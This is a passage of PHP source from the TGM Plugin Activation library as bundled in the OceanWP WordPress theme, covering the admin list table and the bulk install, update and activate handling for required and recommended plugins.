isset( $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->new_version ) ) { return $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->new_version; } return false; } /** * Retrieve potential upgrade notice for a plugin. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string The upgrade notice or an empty string if no message was available or provided. */ public function get_upgrade_notice( $slug ) { // We currently can't get reliable info on non-WP-repo plugins - issue #380. if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) { return ''; } $repo_updates = get_site_transient( 'update_plugins' ); if ( ! empty( $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->upgrade_notice ) ) { return $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->upgrade_notice; } return ''; } /** * Wrapper around the core WP get_plugins function, making sure it's actually available. * * @since 2.5.0 * * @param string $plugin_folder Optional. Relative path to single plugin folder. * @return array Array of installed plugins with plugin information. */ public function get_plugins( $plugin_folder = '' ) { if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } return get_plugins( $plugin_folder ); } /** * Delete dismissable nag option when theme is switched. * * This ensures that the user(s) is/are again reminded via nag of required * and/or recommended plugins if they re-activate the theme. * * @since 2.1.1 */ public function update_dismiss() { delete_metadata( 'user', null, 'tgmpa_dismissed_notice_' . $this->id, null, true ); } /** * Forces plugin activation if the parameter 'force_activation' is * set to true. * * This allows theme authors to specify certain plugins that must be * active at all times while using the current theme. * * Please take special care when using this parameter as it has the * potential to be harmful if not used correctly. Setting this parameter * to true will not allow the specified plugin to be deactivated unless * the user switches themes. * * @since 2.2.0 */ public function force_activation() { foreach ( $this->plugins as $slug => $plugin ) { if ( true === $plugin['force_activation'] ) { if ( ! $this->is_plugin_installed( $slug ) ) { // Oops, plugin isn't there so iterate to next condition. continue; } elseif ( $this->can_plugin_activate( $slug ) ) { // There we go, activate the plugin. activate_plugin( $plugin['file_path'] ); } } } } /** * Forces plugin deactivation if the parameter 'force_deactivation' * is set to true and adds the plugin to the 'recently active' plugins list. * * This allows theme authors to specify certain plugins that must be * deactivated upon switching from the current theme to another. * * Please take special care when using this parameter as it has the * potential to be harmful if not used correctly. * * @since 2.2.0 */ public function force_deactivation() { $deactivated = array(); foreach ( $this->plugins as $slug => $plugin ) { /* * Only proceed forward if the parameter is set to true and plugin is active * as a 'normal' (not must-use) plugin. */ if ( true === $plugin['force_deactivation'] && is_plugin_active( $plugin['file_path'] ) ) { deactivate_plugins( $plugin['file_path'] ); $deactivated[ $plugin['file_path'] ] = time(); } } if ( ! empty( $deactivated ) ) { update_option( 'recently_activated', $deactivated + (array) get_option( 'recently_activated' ) ); } } /** * Echo the current TGMPA version number to the page. * * @since 2.5.0 */ public function show_tgmpa_version() { echo '

                    ', esc_html( sprintf( /* translators: %s: version number */ __( 'TGMPA v%s', 'oceanwp' ), self::TGMPA_VERSION ) ), '

                    '; } /** * Returns the singleton instance of the class. * * @since 2.4.0 * * @return \TGM_Plugin_Activation The TGM_Plugin_Activation object. */ public static function get_instance() { if ( ! isset( self::$instance ) && ! ( self::$instance instanceof self ) ) { self::$instance = new self(); } return self::$instance; } } if ( ! function_exists( 'load_tgm_plugin_activation' ) ) { /** * Ensure only one instance of the class is ever invoked. * * @since 2.5.0 */ function load_tgm_plugin_activation() { $GLOBALS['tgmpa'] = TGM_Plugin_Activation::get_instance(); } } if ( did_action( 'plugins_loaded' ) ) { load_tgm_plugin_activation(); } else { add_action( 'plugins_loaded', 'load_tgm_plugin_activation' ); } } if ( ! function_exists( 'tgmpa' ) ) { /** * Helper function to register a collection of required plugins. * * @since 2.0.0 * @api * * @param array $plugins An array of plugin arrays. * @param array $config Optional. An array of configuration values. */ function tgmpa( $plugins, $config = array() ) { $instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); foreach ( $plugins as $plugin ) { call_user_func( array( $instance, 'register' ), $plugin ); } if ( ! empty( $config ) && is_array( $config ) ) { // Send out notices for deprecated arguments passed. if ( isset( $config['notices'] ) ) { _deprecated_argument( __FUNCTION__, '2.2.0', 'The `notices` config parameter was renamed to `has_notices` in TGMPA 2.2.0. Please adjust your configuration.' ); if ( ! isset( $config['has_notices'] ) ) { $config['has_notices'] = $config['notices']; } } if ( isset( $config['parent_menu_slug'] ) ) { _deprecated_argument( __FUNCTION__, '2.4.0', 'The `parent_menu_slug` config parameter was removed in TGMPA 2.4.0. In TGMPA 2.5.0 an alternative was (re-)introduced. Please adjust your configuration. For more information visit the website: http://tgmpluginactivation.com/configuration/#h-configuration-options.' ); } if ( isset( $config['parent_url_slug'] ) ) { _deprecated_argument( __FUNCTION__, '2.4.0', 'The `parent_url_slug` config parameter was removed in TGMPA 2.4.0. In TGMPA 2.5.0 an alternative was (re-)introduced. Please adjust your configuration. For more information visit the website: http://tgmpluginactivation.com/configuration/#h-configuration-options.' ); } call_user_func( array( $instance, 'config' ), $config ); } } } /** * WP_List_Table isn't always available. If it isn't available, * we load it here. * * @since 2.2.0 */ if ( ! class_exists( 'WP_List_Table' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php'; } if ( ! class_exists( 'TGMPA_List_Table' ) ) { /** * List table class for handling plugins. * * Extends the WP_List_Table class to provide a future-compatible * way of listing out all required/recommended plugins. * * Gives users an interface similar to the Plugin Administration * area with similar (albeit stripped down) capabilities. * * This class also allows for the bulk install of plugins. * * @since 2.2.0 * * @package TGM-Plugin-Activation * @author Thomas Griffin * @author Gary Jones */ class TGMPA_List_Table extends WP_List_Table { /** * TGMPA instance. * * @since 2.5.0 * * @var object */ protected $tgmpa; /** * The currently chosen view. * * @since 2.5.0 * * @var string One of: 'all', 'install', 'update', 'activate' */ public $view_context = 'all'; /** * The plugin counts for the various views. * * @since 2.5.0 * * @var array */ protected $view_totals = array( 'all' => 0, 'install' => 0, 'update' => 0, 'activate' => 0, ); /** * References parent constructor and sets defaults for class. * * @since 2.2.0 */ public function __construct() { $this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); parent::__construct( array( 'singular' => 'plugin', 'plural' => 'plugins', 'ajax' => false, ) ); if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], array( 'install', 'update', 'activate' ), true ) ) { $this->view_context = sanitize_key( $_REQUEST['plugin_status'] ); } add_filter( 'tgmpa_table_data_items', array( $this, 'sort_table_items' ) ); } /** * Get a list of CSS classes for the tag. * * Overruled to prevent the 'plural' argument from being added. * * @since 2.5.0 * * @return array CSS classnames. */ public function get_table_classes() { return array( 'widefat', 'fixed' ); } /** * Gathers and renames all of our plugin information to be used by WP_List_Table to create our table. * * @since 2.2.0 * * @return array $table_data Information for use in table. */ protected function _gather_plugin_data() { // Load thickbox for plugin links. $this->tgmpa->admin_init(); $this->tgmpa->thickbox(); // Categorize the plugins which have open actions. $plugins = $this->categorize_plugins_to_views(); // Set the counts for the view links. $this->set_view_totals( $plugins ); // Prep variables for use and grab list of all installed plugins. $table_data = array(); $i = 0; // Redirect to the 'all' view if no plugins were found for the selected view context. if ( empty( $plugins[ $this->view_context ] ) ) { $this->view_context = 'all'; } foreach ( $plugins[ $this->view_context ] as $slug => $plugin ) { $table_data[ $i ]['sanitized_plugin'] = $plugin['name']; $table_data[ $i ]['slug'] = $slug; $table_data[ $i ]['plugin'] = '' . $this->tgmpa->get_info_link( $slug ) . ''; $table_data[ $i ]['source'] = $this->get_plugin_source_type_text( $plugin['source_type'] ); $table_data[ $i ]['type'] = $this->get_plugin_advise_type_text( $plugin['required'] ); $table_data[ $i ]['status'] = $this->get_plugin_status_text( $slug ); $table_data[ $i ]['installed_version'] = $this->tgmpa->get_installed_version( $slug ); $table_data[ $i ]['minimum_version'] = $plugin['version']; $table_data[ $i ]['available_version'] = $this->tgmpa->does_plugin_have_update( $slug ); // Prep the upgrade notice info. $upgrade_notice = $this->tgmpa->get_upgrade_notice( $slug ); if ( ! empty( $upgrade_notice ) ) { $table_data[ $i ]['upgrade_notice'] = $upgrade_notice; add_action( "tgmpa_after_plugin_row_{$slug}", array( $this, 'wp_plugin_update_row' ), 10, 2 ); } $table_data[ $i ] = apply_filters( 'tgmpa_table_data_item', $table_data[ $i ], $plugin ); $i++; } return $table_data; } /** * Categorize the plugins which have open actions into views for the TGMPA page. * * @since 2.5.0 */ protected function categorize_plugins_to_views() { $plugins = array( 'all' => array(), // Meaning: all plugins which still have open actions. 'install' => array(), 'update' => array(), 'activate' => array(), ); foreach ( $this->tgmpa->plugins as $slug => $plugin ) { if ( $this->tgmpa->is_plugin_active( $slug ) && false === $this->tgmpa->does_plugin_have_update( $slug ) ) { // No need to display plugins if they are installed, up-to-date and active. continue; } else { $plugins['all'][ $slug ] = $plugin; if ( ! $this->tgmpa->is_plugin_installed( $slug ) ) { $plugins['install'][ $slug ] = $plugin; } else { if ( false !== $this->tgmpa->does_plugin_have_update( $slug ) ) { $plugins['update'][ $slug ] = $plugin; } if ( $this->tgmpa->can_plugin_activate( $slug ) ) { $plugins['activate'][ $slug ] = $plugin; } } } } return $plugins; } /** * Set the counts for the view links. * * @since 2.5.0 * * @param array $plugins Plugins order by view. */ protected function set_view_totals( $plugins ) { foreach ( $plugins as $type => $list ) { $this->view_totals[ $type ] = count( $list ); } } /** * Get the plugin required/recommended text string. * * @since 2.5.0 * * @param string $required Plugin required setting. * @return string */ protected function get_plugin_advise_type_text( $required ) { if ( true === $required ) { return __( 'Required', 'oceanwp' ); } return __( 'Recommended', 'oceanwp' ); } /** * Get the plugin source type text string. * * @since 2.5.0 * * @param string $type Plugin type. * @return string */ protected function get_plugin_source_type_text( $type ) { $string = ''; switch ( $type ) { case 'repo': $string = __( 'WordPress Repository', 'oceanwp' ); break; case 'external': $string = __( 'External Source', 'oceanwp' ); break; case 'bundled': $string = __( 'Pre-Packaged', 'oceanwp' ); break; } return $string; } /** * Determine the plugin status message. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string */ protected function get_plugin_status_text( $slug ) { if ( ! $this->tgmpa->is_plugin_installed( $slug ) ) { return __( 'Not Installed', 'oceanwp' ); } if ( ! $this->tgmpa->is_plugin_active( $slug ) ) { $install_status = __( 'Installed But Not Activated', 'oceanwp' ); } else { $install_status = __( 'Active', 'oceanwp' ); } $update_status = ''; if ( $this->tgmpa->does_plugin_require_update( $slug ) && false === $this->tgmpa->does_plugin_have_update( $slug ) ) { $update_status = __( 'Required Update not Available', 'oceanwp' ); } elseif ( $this->tgmpa->does_plugin_require_update( $slug ) ) { $update_status = __( 'Requires Update', 'oceanwp' ); } elseif ( false !== $this->tgmpa->does_plugin_have_update( $slug ) ) { $update_status = __( 'Update recommended', 'oceanwp' ); } if ( '' === $update_status ) { return $install_status; } return sprintf( /* translators: 1: install status, 2: update status */ _x( '%1$s, %2$s', 'Install/Update Status', 'oceanwp' ), $install_status, $update_status ); } /** * Sort plugins by Required/Recommended type and by alphabetical plugin name within each type. * * @since 2.5.0 * * @param array $items Prepared table items. * @return array Sorted table items. */ public function sort_table_items( $items ) { $type = array(); $name = array(); foreach ( $items as $i => $plugin ) { $type[ $i ] = $plugin['type']; // Required / recommended. $name[ $i ] = $plugin['sanitized_plugin']; } array_multisort( $type, SORT_DESC, $name, SORT_ASC, $items ); return $items; } /** * Get an associative array ( id => link ) of the views available on this table. * * @since 2.5.0 * * @return array */ public function get_views() { $status_links = array(); foreach ( $this->view_totals as $type => $count ) { if ( $count < 1 ) { continue; } switch ( $type ) { case 'all': /* translators: 1: number of plugins. */ $text = _nx( 'All (%s)', 'All (%s)', $count, 'plugins', 'oceanwp' ); break; case 'install': /* translators: 1: number of plugins. */ $text = _n( 'To Install (%s)', 'To Install (%s)', $count, 'oceanwp' ); break; case 'update': /* translators: 1: number of plugins. */ $text = _n( 'Update Available (%s)', 'Update Available (%s)', $count, 'oceanwp' ); break; case 'activate': /* translators: 1: number of plugins. */ $text = _n( 'To Activate (%s)', 'To Activate (%s)', $count, 'oceanwp' ); break; default: $text = ''; break; } if ( ! empty( $text ) ) { $status_links[ $type ] = sprintf( '%s', esc_url( $this->tgmpa->get_tgmpa_status_url( $type ) ), ( $type === $this->view_context ) ? ' class="current"' : '', sprintf( $text, number_format_i18n( $count ) ) ); } } return $status_links; } /** * Create default columns to display important plugin information * like type, action and status. * * @since 2.2.0 * * @param array $item Array of item data. * @param string $column_name The name of the column. * @return string */ public function column_default( $item, $column_name ) { return $item[ $column_name ]; } /** * Required for bulk installing. * * Adds a checkbox for each plugin. * * @since 2.2.0 * * @param array $item Array of item data. * @return string The input checkbox with all necessary info. */ public function column_cb( $item ) { return sprintf( '', esc_attr( $this->_args['singular'] ), esc_attr( $item['slug'] ), esc_attr( $item['sanitized_plugin'] ) ); } /** * Create default title column along with the action links. * * @since 2.2.0 * * @param array $item Array of item data. * @return string The plugin name and action links. */ public function column_plugin( $item ) { return sprintf( '%1$s %2$s', $item['plugin'], $this->row_actions( $this->get_row_actions( $item ), true ) ); } /** * Create version information column. * * @since 2.5.0 * * @param array $item Array of item data. * @return string HTML-formatted version information. */ public function column_version( $item ) { $output = array(); if ( $this->tgmpa->is_plugin_installed( $item['slug'] ) ) { $installed = ! empty( $item['installed_version'] ) ? $item['installed_version'] : _x( 'unknown', 'as in: "version nr unknown"', 'oceanwp' ); $color = ''; if ( ! empty( $item['minimum_version'] ) && $this->tgmpa->does_plugin_require_update( $item['slug'] ) ) { $color = ' color: #ff0000; font-weight: bold;'; } $output[] = sprintf( '

                    %2$s' . __( 'Installed version:', 'oceanwp' ) . '

                    ', $color, $installed ); } if ( ! empty( $item['minimum_version'] ) ) { $output[] = sprintf( '

                    %1$s' . __( 'Minimum required version:', 'oceanwp' ) . '

                    ', $item['minimum_version'] ); } if ( ! empty( $item['available_version'] ) ) { $color = ''; if ( ! empty( $item['minimum_version'] ) && version_compare( $item['available_version'], $item['minimum_version'], '>=' ) ) { $color = ' color: #71C671; font-weight: bold;'; } $output[] = sprintf( '

                    %2$s' . __( 'Available version:', 'oceanwp' ) . '

                    ', $color, $item['available_version'] ); } if ( empty( $output ) ) { return ' '; // Let's not break the table layout. } else { return implode( "\n", $output ); } } /** * Sets default message within the plugins table if no plugins * are left for interaction. * * Hides the menu item to prevent the user from clicking and * getting a permissions error. * * @since 2.2.0 */ public function no_items() { echo esc_html__( 'No plugins to install, update or activate.', 'oceanwp' ) . ' ' . esc_html__( 'Return to the Dashboard', 'oceanwp' ) . ''; echo ''; } /** * Output all the column information within the table. * * @since 2.2.0 * * @return array $columns The column names. */ public function get_columns() { $columns = array( 'cb' => '', 'plugin' => __( 'Plugin', 'oceanwp' ), 'source' => __( 'Source', 'oceanwp' ), 'type' => __( 'Type', 'oceanwp' ), ); if ( 'all' === $this->view_context || 'update' === $this->view_context ) { $columns['version'] = __( 'Version', 'oceanwp' ); $columns['status'] = __( 'Status', 'oceanwp' ); } return apply_filters( 'tgmpa_table_columns', $columns ); } /** * Get name of default primary column * * @since 2.5.0 / WP 4.3+ compatibility * @access protected * * @return string */ protected function get_default_primary_column_name() { return 'plugin'; } /** * Get the name of the primary column. * * @since 2.5.0 / WP 4.3+ compatibility * @access protected * * @return string The name of the primary column. */ protected function get_primary_column_name() { if ( method_exists( 'WP_List_Table', 'get_primary_column_name' ) ) { return parent::get_primary_column_name(); } else { return $this->get_default_primary_column_name(); } } /** * Get the actions which are relevant for a specific plugin row. * * @since 2.5.0 * * @param array $item Array of item data. * @return array Array with relevant action links. */ protected function get_row_actions( $item ) { $actions = array(); $action_links = array(); // Display the 'Install' action link if the plugin is not yet available. if ( ! $this->tgmpa->is_plugin_installed( $item['slug'] ) ) { /* translators: %2$s: plugin name in screen reader markup */ $actions['install'] = __( 'Install %2$s', 'oceanwp' ); } else { // Display the 'Update' action link if an update is available and WP complies with plugin minimum. if ( false !== $this->tgmpa->does_plugin_have_update( $item['slug'] ) && $this->tgmpa->can_plugin_update( $item['slug'] ) ) { /* translators: %2$s: plugin name in screen reader markup */ $actions['update'] = __( 'Update %2$s', 'oceanwp' ); } // Display the 'Activate' action link, but only if the plugin meets the minimum version. if ( $this->tgmpa->can_plugin_activate( $item['slug'] ) ) { /* translators: %2$s: plugin name in screen reader markup */ $actions['activate'] = __( 'Activate %2$s', 'oceanwp' ); } } // Create the actual links. foreach ( $actions as $action => $text ) { $nonce_url = wp_nonce_url( add_query_arg( array( 'plugin' => urlencode( $item['slug'] ), 'tgmpa-' . $action => $action . '-plugin', ), $this->tgmpa->get_tgmpa_url() ), 'tgmpa-' . $action, 'tgmpa-nonce' ); $action_links[ $action ] = sprintf( '' . esc_html( $text ) . '', // $text contains the second placeholder. esc_url( $nonce_url ), '' . esc_html( $item['sanitized_plugin'] ) . '' ); } $prefix = ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN ) ? 'network_admin_' : ''; return apply_filters( "tgmpa_{$prefix}plugin_action_links", array_filter( $action_links ), $item['slug'], $item, $this->view_context ); } /** * Generates content for a single row of the table. * * @since 2.5.0 * * @param object $item The current item. */ public function single_row( $item ) { parent::single_row( $item ); /** * Fires after each specific row in the TGMPA Plugins list table. * * The dynamic portion of the hook name, `$item['slug']`, refers to the slug * for the plugin. * * @since 2.5.0 */ do_action( "tgmpa_after_plugin_row_{$item['slug']}", $item['slug'], $item, $this->view_context ); } /** * Show the upgrade notice below a plugin row if there is one. * * @since 2.5.0 * * @see /wp-admin/includes/update.php * * @param string $slug Plugin slug. * @param array $item The information available in this table row. * @return null Return early if upgrade notice is empty. */ public function wp_plugin_update_row( $slug, $item ) { if ( empty( $item['upgrade_notice'] ) ) { return; } echo ' '; } /** * Extra controls to be displayed between bulk actions and pagination. * * @since 2.5.0 * * @param string $which 'top' or 'bottom' table navigation. */ public function extra_tablenav( $which ) { if ( 'bottom' === $which ) { $this->tgmpa->show_tgmpa_version(); } } /** * Defines the bulk actions for handling registered plugins. * * @since 2.2.0 * * @return array $actions The bulk actions for the plugin install table. */ public function get_bulk_actions() { $actions = array(); if ( 'update' !== $this->view_context && 'activate' !== $this->view_context ) { if ( current_user_can( 'install_plugins' ) ) { $actions['tgmpa-bulk-install'] = __( 'Install', 'oceanwp' ); } } if ( 'install' !== $this->view_context ) { if ( current_user_can( 'update_plugins' ) ) { $actions['tgmpa-bulk-update'] = __( 'Update', 'oceanwp' ); } if ( current_user_can( 'activate_plugins' ) ) { $actions['tgmpa-bulk-activate'] = __( 'Activate', 'oceanwp' ); } } return $actions; } /** * Processes bulk installation and activation actions. * * The bulk installation process looks for the $_POST information and passes that * through if a user has to use WP_Filesystem to enter their credentials. * * @since 2.2.0 */ public function process_bulk_actions() { // Bulk installation process. if ( 'tgmpa-bulk-install' === $this->current_action() || 'tgmpa-bulk-update' === $this->current_action() ) { check_admin_referer( 'bulk-' . $this->_args['plural'] ); $install_type = 'install'; if ( 'tgmpa-bulk-update' === $this->current_action() ) { $install_type = 'update'; } $plugins_to_install = array(); // Did user actually select any plugins to install/update ? if ( empty( $_POST['plugin'] ) ) { if ( 'install' === $install_type ) { $message = __( 'No plugins were selected to be installed. No action taken.', 'oceanwp' ); } else { $message = __( 'No plugins were selected to be updated. No action taken.', 'oceanwp' ); } echo '

                    ', esc_html( $message ), '

                    '; return false; } if ( is_array( $_POST['plugin'] ) ) { $plugins_to_install = (array) $_POST['plugin']; } elseif ( is_string( $_POST['plugin'] ) ) { // Received via Filesystem page - un-flatten array (WP bug #19643). $plugins_to_install = explode( ',', $_POST['plugin'] ); } // Sanitize the received input. $plugins_to_install = array_map( 'urldecode', $plugins_to_install ); $plugins_to_install = array_map( array( $this->tgmpa, 'sanitize_key' ), $plugins_to_install ); // Validate the received input. foreach ( $plugins_to_install as $key => $slug ) { // Check if the plugin was registered with TGMPA and remove if not. if ( ! isset( $this->tgmpa->plugins[ $slug ] ) ) { unset( $plugins_to_install[ $key ] ); continue; } // For install: make sure this is a plugin we *can* install and not one already installed. if ( 'install' === $install_type && true === $this->tgmpa->is_plugin_installed( $slug ) ) { unset( $plugins_to_install[ $key ] ); } // For updates: make sure this is a plugin we *can* update (update available and WP version ok). if ( 'update' === $install_type && false === $this->tgmpa->is_plugin_updatetable( $slug ) ) { unset( $plugins_to_install[ $key ] ); } } // No need to proceed further if we have no plugins to handle. if ( empty( $plugins_to_install ) ) { if ( 'install' === $install_type ) { $message = __( 'No plugins are available to be installed at this time.', 'oceanwp' ); } else { $message = __( 'No plugins are available to be updated at this time.', 'oceanwp' ); } echo '

                    ', esc_html( $message ), '

                    '; return false; } // Pass all necessary information if WP_Filesystem is needed. $url = wp_nonce_url( $this->tgmpa->get_tgmpa_url(), 'bulk-' . $this->_args['plural'] ); // Give validated data back to $_POST which is the only place the filesystem looks for extra fields. $_POST['plugin'] = implode( ',', $plugins_to_install ); // Work around for WP bug #19643. $method = ''; // Leave blank so WP_Filesystem can populate it as necessary. $fields = array_keys( $_POST ); // Extra fields to pass to WP_Filesystem. if ( false === ( $creds = request_filesystem_credentials( esc_url_raw( $url ), $method, false, false, $fields ) ) ) { return true; // Stop the normal page form from displaying, credential request form will be shown. } // Now we have some credentials, setup WP_Filesystem. if ( ! WP_Filesystem( $creds ) ) { // Our credentials were no good, ask the user for them again. request_filesystem_credentials( esc_url_raw( $url ), $method, true, false, $fields ); return true; } /* If we arrive here, we have the filesystem */ // Store all information in arrays since we are processing a bulk installation. $names = array(); $sources = array(); // Needed for installs. $file_paths = array(); // Needed for upgrades. $to_inject = array(); // Information to inject into the update_plugins transient. // Prepare the data for validated plugins for the install/upgrade. foreach ( $plugins_to_install as $slug ) { $name = $this->tgmpa->plugins[ $slug ]['name']; $source = $this->tgmpa->get_download_url( $slug ); if ( ! empty( $name ) && ! empty( $source ) ) { $names[] = $name; switch ( $install_type ) { case 'install': $sources[] = $source; break; case 'update': $file_paths[] = $this->tgmpa->plugins[ $slug ]['file_path']; $to_inject[ $slug ] = $this->tgmpa->plugins[ $slug ]; $to_inject[ $slug ]['source'] = $source; break; } } } unset( $slug, $name, $source ); // Create a new instance of TGMPA_Bulk_Installer. $installer = new TGMPA_Bulk_Installer( new TGMPA_Bulk_Installer_Skin( array( 'url' => esc_url_raw( $this->tgmpa->get_tgmpa_url() ), 'nonce' => 'bulk-' . $this->_args['plural'], 'names' => $names, 'install_type' => $install_type, ) ) ); // Wrap the install process with the appropriate HTML. echo '
                    ', '

                    ', esc_html( get_admin_page_title() ), '

                    '; // Process the bulk installation submissions. add_filter( 'upgrader_source_selection', array( $this->tgmpa, 'maybe_adjust_source_dir' ), 1, 3 ); if ( 'tgmpa-bulk-update' === $this->current_action() ) { // Inject our info into the update transient. $this->tgmpa->inject_update_info( $to_inject ); $installer->bulk_upgrade( $file_paths ); } else { $installer->bulk_install( $sources ); } remove_filter( 'upgrader_source_selection', array( $this->tgmpa, 'maybe_adjust_source_dir' ), 1 ); echo '
                    '; return true; } // Bulk activation process. if ( 'tgmpa-bulk-activate' === $this->current_action() ) { check_admin_referer( 'bulk-' . $this->_args['plural'] ); // Did user actually select any plugins to activate ? if ( empty( $_POST['plugin'] ) ) { echo '

                    ', esc_html__( 'No plugins were selected to be activated. No action taken.', 'oceanwp' ), '

                    '; return false; } // Grab plugin data from $_POST. $plugins = array(); if ( isset( $_POST['plugin'] ) ) { $plugins = array_map( 'urldecode', (array) $_POST['plugin'] ); $plugins = array_map( array( $this->tgmpa, 'sanitize_key' ), $plugins ); } $plugins_to_activate = array(); $plugin_names = array(); // Grab the file paths for the selected & inactive plugins from the registration array. foreach ( $plugins as $slug ) { if ( $this->tgmpa->can_plugin_activate( $slug ) ) { $plugins_to_activate[] = $this->tgmpa->plugins[ $slug ]['file_path']; $plugin_names[] = $this->tgmpa->plugins[ $slug ]['name']; } } unset( $slug ); // Return early if there are no plugins to activate. if ( empty( $plugins_to_activate ) ) { echo '

                    ', esc_html__( 'No plugins are available to be activated at this time.', 'oceanwp' ), '

                    '; return false; } // Now we are good to go - let's start activating plugins. $activate = activate_plugins( $plugins_to_activate ); if ( is_wp_error( $activate ) ) { echo '

                    ', wp_kses_post( $activate->get_error_message() ), '

                    '; } else { $count = count( $plugin_names ); // Count so we can use _n function. $plugin_names = array_map( array( 'TGMPA_Utils', 'wrap_in_strong' ), $plugin_names ); $last_plugin = array_pop( $plugin_names ); // Pop off last name to prep for readability. $imploded = empty( $plugin_names ) ? $last_plugin : ( implode( ', ', $plugin_names ) . ' ' . esc_html_x( 'and', 'plugin A *and* plugin B', 'oceanwp' ) . ' ' . $last_plugin ); printf( // WPCS: xss ok. '

                    %1$s %2$s.

                    ', esc_html( _n( 'The following plugin was activated successfully:', 'The following plugins were activated successfully:', $count, 'oceanwp' ) ), $imploded ); // Update recently activated plugins option. $recent = (array) get_option( 'recently_activated' ); foreach ( $plugins_to_activate as $plugin => $time ) { if ( isset( $recent[ $plugin ] ) ) { unset( $recent[ $plugin ] ); } } update_option( 'recently_activated', $recent ); } unset( $_POST ); // Reset the $_POST variable in case user wants to perform one action after another. return true; } return false; } /** * Prepares all of our information to be outputted into a usable table. * * @since 2.2.0 */ public function prepare_items() { $columns = $this->get_columns(); // Get all necessary column information. $hidden = array(); // No columns to hide, but we must set as an array. $sortable = array(); // No reason to make sortable columns. $primary = $this->get_primary_column_name(); // Column which has the row actions. $this->_column_headers = array( $columns, $hidden, $sortable, $primary ); // Get all necessary column headers. // Process our bulk activations here. if ( 'tgmpa-bulk-activate' === $this->current_action() ) { $this->process_bulk_actions(); } // Store all of our plugin data into $items array so WP_List_Table can use it. $this->items = apply_filters( 'tgmpa_table_data_items', $this->_gather_plugin_data() ); } /* *********** DEPRECATED METHODS *********** */ /** * Retrieve plugin data, given the plugin name. * * @since 2.2.0 * @deprecated 2.5.0 use {@see TGM_Plugin_Activation::_get_plugin_data_from_name()} instead. * @see TGM_Plugin_Activation::_get_plugin_data_from_name() * * @param string $name Name of the plugin, as it was registered. * @param string $data Optional. Array key of plugin data to return. Default is slug. * @return string|boolean Plugin slug if found, false otherwise. */ protected function _get_plugin_data_from_name( $name, $data = 'slug' ) { _deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'TGM_Plugin_Activation::_get_plugin_data_from_name()' ); return $this->tgmpa->_get_plugin_data_from_name( $name, $data ); } } } if ( ! class_exists( 'TGM_Bulk_Installer' ) ) { /** * Hack: Prevent TGMPA v2.4.1- bulk installer class from being loaded if 2.4.1- is loaded after 2.5+. * * @since 2.5.2 * * {@internal The TGMPA_Bulk_Installer class was originally called TGM_Bulk_Installer. * For more information, see that class.}} */ class TGM_Bulk_Installer { } } if ( ! class_exists( 'TGM_Bulk_Installer_Skin' ) ) { /** * Hack: Prevent TGMPA v2.4.1- bulk installer skin class from being loaded if 2.4.1- is loaded after 2.5+. * * @since 2.5.2 * * {@internal The TGMPA_Bulk_Installer_Skin class was originally called TGM_Bulk_Installer_Skin. * For more information, see that class.}} */ class TGM_Bulk_Installer_Skin { } } /** * The WP_Upgrader file isn't always available. If it isn't available, * we load it here. * * We check to make sure no action or activation keys are set so that WordPress * does not try to re-include the class when processing upgrades or installs outside * of the class. * * @since 2.2.0 */ add_action( 'admin_init', 'tgmpa_load_bulk_installer' ); if ( ! function_exists( 'tgmpa_load_bulk_installer' ) ) { /** * Load bulk installer */ function tgmpa_load_bulk_installer() { // Silently fail if 2.5+ is loaded *after* an older version. if ( ! isset( $GLOBALS['tgmpa'] ) ) { return; } // Get TGMPA class instance. $tgmpa_instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); if ( isset( $_GET['page'] ) && $tgmpa_instance->menu === $_GET['page'] ) { if ( ! class_exists( 'Plugin_Upgrader', false ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } if ( ! class_exists( 'TGMPA_Bulk_Installer' ) ) { /** * Installer class to handle bulk plugin installations. * * Extends WP_Upgrader and customizes to suit the installation of multiple * plugins. * * @since 2.2.0 * * {@internal Since 2.5.0 the class is an extension of Plugin_Upgrader rather than WP_Upgrader.}} * {@internal Since 2.5.2 the class has been renamed from TGM_Bulk_Installer to TGMPA_Bulk_Installer. * This was done to prevent backward compatibility issues with v2.3.6.}} * * @package TGM-Plugin-Activation * @author Thomas Griffin * @author Gary Jones */ class TGMPA_Bulk_Installer extends Plugin_Upgrader { /** * Holds result of bulk plugin installation. * * @since 2.2.0 * * @var string */ public $result; /** * Flag to check if bulk installation is occurring or not. * * @since 2.2.0 * * @var boolean */ public $bulk = false; /** * TGMPA instance * * @since 2.5.0 * * @var object */ protected $tgmpa; /** * Whether or not the destination directory needs to be cleared ( = on update). * * @since 2.5.0 * * @var bool */ protected $clear_destination = false; /** * References parent constructor and sets defaults for class. * * @since 2.2.0 * * @param \Bulk_Upgrader_Skin|null $skin Installer skin. */ public function __construct( $skin = null ) { // Get TGMPA class instance. $this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); parent::__construct( $skin ); if ( isset( $this->skin->options['install_type'] ) && 'update' === $this->skin->options['install_type'] ) { $this->clear_destination = true; } if ( $this->tgmpa->is_automatic ) { $this->activate_strings(); } add_action( 'upgrader_process_complete', array( $this->tgmpa, 'populate_file_path' ) ); } /** * Sets the correct activation strings for the installer skin to use. * * @since 2.2.0 */ public function activate_strings() { $this->strings['activation_failed'] = __( 'Plugin activation failed.', 'oceanwp' ); $this->strings['activation_success'] = __( 'Plugin activated successfully.', 'oceanwp' ); } /** * Performs the actual installation of each plugin. * * @since 2.2.0 * * @see WP_Upgrader::run() * * @param array $options The installation config options. * @return null|array Return early if error, array of installation data on success. */ public function run( $options ) { $result = parent::run( $options ); // Reset the strings in case we changed one during automatic activation. if ( $this->tgmpa->is_automatic ) { if ( 'update' === 